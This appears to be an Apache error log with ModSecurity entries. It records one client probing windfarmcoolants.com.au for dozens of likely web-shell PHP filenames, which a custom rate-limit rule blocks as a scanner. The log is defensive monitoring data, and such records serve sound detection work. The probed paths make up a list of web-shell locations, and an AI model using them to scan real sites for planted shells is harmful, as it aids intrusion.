[Sat Apr 18 20:13:13.674089 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:6111] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zu.php"] [unique_id "aeN1WYCFeowknfXHM7kZzAAAAE4"]
[Sat Apr 18 20:13:14.218111 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:5905] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zu.php"] [unique_id "aeN1WiYdRLRhVmaIMx2ytAAAANQ"]
[Sat Apr 18 20:13:14.855727 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:6137] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zu.php"] [unique_id "aeN1WhBmX4Wq5a6rxfamgQAAAUs"]
[Sat Apr 18 20:13:15.384397 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5970] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws53.php"] [unique_id "aeN1WxBmX4Wq5a6rxfamiAAAAVE"]
[Sat Apr 18 20:13:15.912806 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:6047] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws53.php"] [unique_id "aeN1WxqX6WpmmAXOBi8ZdQAAAcM"]
[Sat Apr 18 20:13:16.451339 2026] [:error] [pid 34288:tid 34308] [client 52.236.80.95:6131] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws53.php"] [unique_id "aeN1XOTIiy__PtiLmpnSdQAAAZA"]
[Sat Apr 18 20:13:16.987203 2026] [:error] [pid 9864:tid 9909] [client 52.236.80.95:6025] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws53.php"] [unique_id "aeN1XICFeowknfXHM7kZzQAAAEQ"]
[Sat Apr 18 20:13:17.712005 2026] [:error] [pid 34290:tid 34338] [client 52.236.80.95:6046] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws56.php"] [unique_id "aeN1XRqX6WpmmAXOBi8ZfQAAAdM"]
[Sat Apr 18 20:13:18.244872 2026] [:error] [pid 13023:tid 13042] [client 52.236.80.95:5952] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws56.php"] [unique_id "aeN1Xv1e7hG8DAeABB8FFAAAARE"]
[Sat Apr 18 20:13:18.769914 2026] [:error] [pid 34288:tid 34296] [client 52.236.80.95:6002] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws56.php"] [unique_id "aeN1XuTIiy__PtiLmpnSdwAAAYQ"]
[Sat Apr 18 20:13:19.368359 2026] [:error] [pid 9970:tid 9991] [client 52.236.80.95:6062] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws56.php"] [unique_id "aeN1XyYdRLRhVmaIMx2ytgAAANE"]
[Sat Apr 18 20:13:19.909090 2026] [:error] [pid 9864:tid 9916] [client 52.236.80.95:5968] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws58.php"] [unique_id "aeN1X4CFeowknfXHM7kZzgAAAEo"]
[Sat Apr 18 20:13:20.457706 2026] [:error] [pid 34290:tid 34332] [client 52.236.80.95:5957] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws58.php"] [unique_id "aeN1YBqX6WpmmAXOBi8ZfgAAAc0"]
[Sat Apr 18 20:13:21.020908 2026] [:error] [pid 9970:tid 9981] [client 52.236.80.95:6018] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws58.php"] [unique_id "aeN1YSYdRLRhVmaIMx2yugAAAMc"]
[Sat Apr 18 20:13:21.707684 2026] [:error] [pid 34290:tid 34340] [client 52.236.80.95:6056] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws58.php"] [unique_id "aeN1YRqX6WpmmAXOBi8ZfwAAAdU"]
[Sat Apr 18 20:13:22.268692 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5972] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws59.php"] [unique_id "aeN1YhBmX4Wq5a6rxfamowAAAUw"]
[Sat Apr 18 20:13:22.816141 2026] [:error] [pid 34288:tid 34310] [client 52.236.80.95:6119] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws59.php"] [unique_id "aeN1YuTIiy__PtiLmpnSeAAAAZI"]
[Sat Apr 18 20:13:23.325381 2026] [:error] [pid 9970:tid 9986] [client 52.236.80.95:6048] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws59.php"] [unique_id "aeN1YyYdRLRhVmaIMx2yvAAAAMw"]
[Sat Apr 18 20:13:23.879720 2026] [:error] [pid 9970:tid 9983] [client 52.236.80.95:5977] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws59.php"] [unique_id "aeN1YyYdRLRhVmaIMx2yvQAAAMk"]
[Sat Apr 18 20:13:24.409450 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6077] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeN1ZICFeowknfXHM7kZ0wAAAFQ"]
[Sat Apr 18 20:13:24.953425 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:6011] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/utchiha_O1JFaUaF.php"] [unique_id "aeN1ZBqX6WpmmAXOBi8ZgAAAAcY"]
[Sat Apr 18 20:13:25.486471 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/utchiha_O1JFaUaF.php
[Sat Apr 18 20:13:26.264951 2026] [:error] [pid 34290:tid 34335] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/mga.php
[Sat Apr 18 20:13:26.542469 2026] [:error] [pid 34290:tid 34330] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/mds.php
[Sat Apr 18 20:13:26.796668 2026] [:error] [pid 34290:tid 34320] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/auth.php
[Sat Apr 18 20:13:27.049929 2026] [:error] [pid 34290:tid 34323] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/iov.php
[Sat Apr 18 20:13:27.335899 2026] [:error] [pid 34290:tid 34343] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/jodohghi.php
[Sat Apr 18 20:13:27.635491 2026] [:error] [pid 34290:tid 34333] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/lmlwpbmm.php
[Sat Apr 18 20:13:27.902462 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Sat Apr 18 20:13:28.211530 2026] [:error] [pid 34290:tid 34340] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/ftde.php
[Sat Apr 18 20:13:28.465128 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/kbfr.php
[Sat Apr 18 20:13:28.719837 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6041] File does not exist: /usr/local/apache/htdocs/suspended-page/abhjr.php
[Sat Apr 18 20:13:29.952933 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:6041] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/anczg.php"] [unique_id "aeN1aRqX6WpmmAXOBi8ZkgAAAcI"]
[Sat Apr 18 20:13:30.559630 2026] [:error] [pid 9864:tid 9907] [client 52.236.80.95:5963] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/anczg.php"] [unique_id "aeN1aoCFeowknfXHM7kZ1gAAAEI"]
[Sat Apr 18 20:13:31.201254 2026] [:error] [pid 9864:tid 9919] [client 52.236.80.95:6080] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/anczg.php"] [unique_id "aeN1a4CFeowknfXHM7kZ2AAAAE0"]
[Sat Apr 18 20:13:31.807614 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:6070] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/anczg.php"] [unique_id "aeN1axBmX4Wq5a6rxfamwwAAAVI"]
[Sat Apr 18 20:13:32.431951 2026] [:error] [pid 13023:tid 13027] [client 52.236.80.95:6132] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ardsw.php"] [unique_id "aeN1bP1e7hG8DAeABB8FKQAAAQI"]
[Sat Apr 18 20:13:33.233500 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6028] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ardsw.php"] [unique_id "aeN1bYCFeowknfXHM7kZ3AAAAFg"]
[Sat Apr 18 20:13:33.823834 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:6037] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ardsw.php"] [unique_id "aeN1bRqX6WpmmAXOBi8ZmQAAAc8"]
[Sat Apr 18 20:13:34.375737 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:5978] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ardsw.php"] [unique_id "aeN1bhBmX4Wq5a6rxfamzgAAAUw"]
[Sat Apr 18 20:13:34.916941 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:5962] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atfis.php"] [unique_id "aeN1bhqX6WpmmAXOBi8ZmgAAAcg"]
[Sat Apr 18 20:13:35.490383 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:5993] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atfis.php"] [unique_id "aeN1bxqX6WpmmAXOBi8ZnAAAAcM"]
[Sat Apr 18 20:13:36.182296 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:6105] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atfis.php"] [unique_id "aeN1cBBmX4Wq5a6rxfam0QAAAUk"]
[Sat Apr 18 20:13:36.926421 2026] [:error] [pid 9864:tid 9914] [client 52.236.80.95:5958] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/atfis.php"] [unique_id "aeN1cICFeowknfXHM7kZ4wAAAEg"]
[Sat Apr 18 20:13:37.433413 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5991] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/azpaq.php"] [unique_id "aeN1cRBmX4Wq5a6rxfam1wAAAUY"]
[Sat Apr 18 20:13:37.990795 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5932] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/azpaq.php"] [unique_id "aeN1cRBmX4Wq5a6rxfam2gAAAUA"]
[Sat Apr 18 20:13:38.515423 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:6066] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/azpaq.php"] [unique_id "aeN1chBmX4Wq5a6rxfam3QAAAUM"]
[Sat Apr 18 20:13:39.154030 2026] [:error] [pid 9863:tid 9892] [client 52.236.80.95:6084] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/azpaq.php"] [unique_id "aeN1czjjiypiFrTucbLMlQAAABM"]
[Sat Apr 18 20:13:39.714928 2026] [:error] [pid 9970:tid 9993] [client 52.236.80.95:6005] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bclms.php"] [unique_id "aeN1cyYdRLRhVmaIMx2y0AAAANM"]
[Sat Apr 18 20:13:40.280065 2026] [:error] [pid 9865:tid 9945] [client 52.236.80.95:6114] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bclms.php"] [unique_id "aeN1dKzb5knECIY-C-iBCgAAAIg"]
[Sat Apr 18 20:13:41.069071 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5894] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bclms.php"] [unique_id "aeN1dRBmX4Wq5a6rxfam6QAAAVM"]
[Sat Apr 18 20:13:41.780022 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:6024] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bclms.php"] [unique_id "aeN1dRBmX4Wq5a6rxfam7QAAAVQ"]
[Sat Apr 18 20:13:42.625520 2026] [:error] [pid 9865:tid 9938] [client 52.236.80.95:5959] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bivvw.php"] [unique_id "aeN1dqzb5knECIY-C-iBCwAAAIE"]
[Sat Apr 18 20:13:43.233609 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:6006] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bivvw.php"] [unique_id "aeN1dxBmX4Wq5a6rxfam8AAAAVE"]
[Sat Apr 18 20:13:43.781884 2026] [:error] [pid 9864:tid 9915] [client 52.236.80.95:5985] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bivvw.php"] [unique_id "aeN1d4CFeowknfXHM7kZ7AAAAEk"]
[Sat Apr 18 20:13:44.365416 2026] [:error] [pid 9865:tid 9956] [client 52.236.80.95:6050] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bivvw.php"] [unique_id "aeN1eKzb5knECIY-C-iBDQAAAJM"]
[Sat Apr 18 20:13:45.168981 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:5986] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bykdo.php"] [unique_id "aeN1eazb5knECIY-C-iBDwAAAIk"]
[Sat Apr 18 20:13:45.944406 2026] [:error] [pid 34237:tid 34251] [client 52.236.80.95:6054] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bykdo.php"] [unique_id "aeN1eRBmX4Wq5a6rxfam9AAAAUw"]
[Sat Apr 18 20:13:46.502980 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:6032] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bykdo.php"] [unique_id "aeN1ehBmX4Wq5a6rxfam9wAAAUc"]
[Sat Apr 18 20:13:47.040524 2026] [:error] [pid 34290:tid 34326] [client 52.236.80.95:6053] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bykdo.php"] [unique_id "aeN1exqX6WpmmAXOBi8ZpwAAAcc"]
[Sat Apr 18 20:13:48.356364 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5888] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byueb.php"] [unique_id "aeN1fBBmX4Wq5a6rxfam_AAAAVA"]
[Sat Apr 18 20:13:49.028060 2026] [:error] [pid 13023:tid 13030] [client 52.236.80.95:6083] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byueb.php"] [unique_id "aeN1ff1e7hG8DAeABB8FQQAAAQU"]
[Sat Apr 18 20:13:49.552567 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:5975] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byueb.php"] [unique_id "aeN1ff1e7hG8DAeABB8FQgAAARI"]
